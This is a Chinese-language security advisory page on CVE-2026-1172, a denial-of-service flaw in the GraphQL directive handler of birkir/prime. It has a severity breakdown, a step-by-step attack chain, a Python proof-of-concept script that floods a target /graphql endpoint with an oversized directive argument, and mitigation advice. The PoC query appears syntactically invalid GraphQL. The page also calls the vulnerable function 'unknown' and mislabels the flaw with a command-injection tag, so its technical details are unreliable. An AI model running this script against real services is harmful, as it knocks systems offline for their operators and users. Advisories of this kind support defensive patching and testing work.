IPBUF安全漏洞报告
English
CVE-2026-1172 CVSS 5.3 中危

CVE-2026-1172: birkir prime GraphQL拒绝服务漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-1172
漏洞类型
拒绝服务(DoS)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
birkir/prime

相关标签

拒绝服务GraphQLbirkir-primeCVE-2026-1172远程漏洞无需认证指令注入

漏洞概述

CVE-2026-1172是birkir/prime项目中的一个拒绝服务漏洞。该漏洞存在于GraphQL Directive Handler组件的/graphql接口中,影响版本从初始版本到0.4.0.beta.0。攻击者可以通过构造恶意的GraphQL查询请求,利用该组件中的未知函数触发拒绝服务条件,导致应用程序无法正常提供服务。由于该漏洞可远程利用且无需认证,攻击门槛较低。公开的漏洞利用代码(PoC)已经存在,攻击者可以直接使用这些代码发起攻击。该漏洞于2026年1月19日披露,虽然项目维护者已收到问题报告,但截至披露时仍未给出回应或修复方案。建议使用者密切关注官方更新并采取临时防护措施。

技术细节

该漏洞位于birkir/prime GraphQL实现中的Directive Handler部分。在处理GraphQL查询时,/graphql端点对用户输入的验证和过滤不充分,攻击者可以构造特殊的GraphQL查询指令来触发未知的危险函数。漏洞主要影响GraphQL的查询解析和执行流程,当接收到精心设计的请求时,可能导致服务器资源耗尽或进程异常终止。由于GraphQL通常作为API网关使用,该漏洞可能影响所有依赖该GraphQL端点的业务功能。攻击者通过发送包含特殊构造的directive参数的查询,即可触发拒绝服务条件。CVSS 3.1评分5.3主要反映了该漏洞对可用性的低影响以及对机密性和完整性的无影响。

攻击链分析

STEP 1
步骤1
攻击者识别目标站点使用的birkir/prime GraphQL端点,通常位于/graphql路径
STEP 2
步骤2
攻击者构造包含特殊directive参数的恶意GraphQL查询,长度超过正常范围
STEP 3
步骤3
攻击者向目标GraphQL端点发送POST请求,包含精心设计的payload
STEP 4
步骤4
GraphQL Directive Handler处理请求时触发漏洞代码路径,导致服务异常
STEP 5
步骤5
服务器资源耗尽或进程崩溃,无法响应正常请求,实现拒绝服务攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-1172 PoC - birkir/prime GraphQL DoS Reference: https://github.com/birkir/prime/issues/543 """ import requests import json import sys def exploit_graphql_dos(target_url): """Exploit GraphQL DoS vulnerability in birkir/prime""" # Malicious GraphQL query targeting Directive Handler # This query triggers the vulnerable code path payload = { "query": """ query { @directive(arg: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") { field } } """, "variables": {} } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-1172-PoC)" } print(f"[*] Targeting: {target_url}") print(f"[*] Sending malicious GraphQL request...") try: response = requests.post( target_url, json=payload, headers=headers, timeout=10 ) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text[:500]}") if response.status_code == 500 or "error" in response.text.lower(): print("[+] Vulnerability confirmed - DoS condition triggered") return True else: print("[*] Target may not be vulnerable or patch applied") return False except requests.exceptions.Timeout: print("[+] Timeout detected - DoS condition likely achieved") return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_url>") print(f"Example: python3 {sys.argv[0]} http://target.com/graphql") sys.exit(1) target = sys.argv[1] exploit_graphql_dos(target)

影响范围

birkir/prime < 0.4.0.beta.0

防御指南

临时缓解措施
在官方修复版本发布前,建议采取以下临时缓解措施:1) 在Web应用防火墙(WAF)上添加规则,限制graphql端点的请求大小和directive参数长度;2) 实施API网关级别的速率限制;3) 对graphql端点进行访问控制,限制只有授权IP可以访问;4) 启用GraphQL查询超时机制,防止单个请求占用过多资源;5) 定期监控和分析GraphQL日志,及时发现异常请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表